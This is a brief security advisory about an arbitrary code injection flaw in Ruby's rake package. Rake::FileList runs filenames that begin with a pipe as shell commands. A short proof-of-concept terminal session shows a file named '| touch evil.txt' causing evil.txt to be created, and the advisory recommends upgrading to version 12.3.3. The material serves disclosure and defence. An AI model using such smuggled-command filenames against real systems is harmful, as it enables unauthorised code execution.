Find, fix and prevent vulnerabilities in your code.

Overview

rake is a Make-like program implemented in Ruby.

Affected versions of this package are vulnerable to Arbitrary Code Injection in Rake::FileList when supplying a filename that begins with the pipe character |.

PoC by Katsuhiko Yoshida

% ls -1
Gemfile
Gemfile.lock
poc_rake.rb
vendor
| touch evil.txt
% bundle exec ruby poc_rake.rb
["poc_rake.rb", "Gemfile", "Gemfile.lock", "| touch evil.txt", "vendor"]
poc_rake.rb:6:list.egrep(/something/)
Error while processing 'vendor': Is a directory @ io_fillbuf - fd:7 vendor
% ls -1
Gemfile
Gemfile.lock
evil.txt
poc_rake.rb
vendor
| touch evil.txt

Remediation

Upgrade rake to version 12.3.3 or higher.

References

• HackerOne Report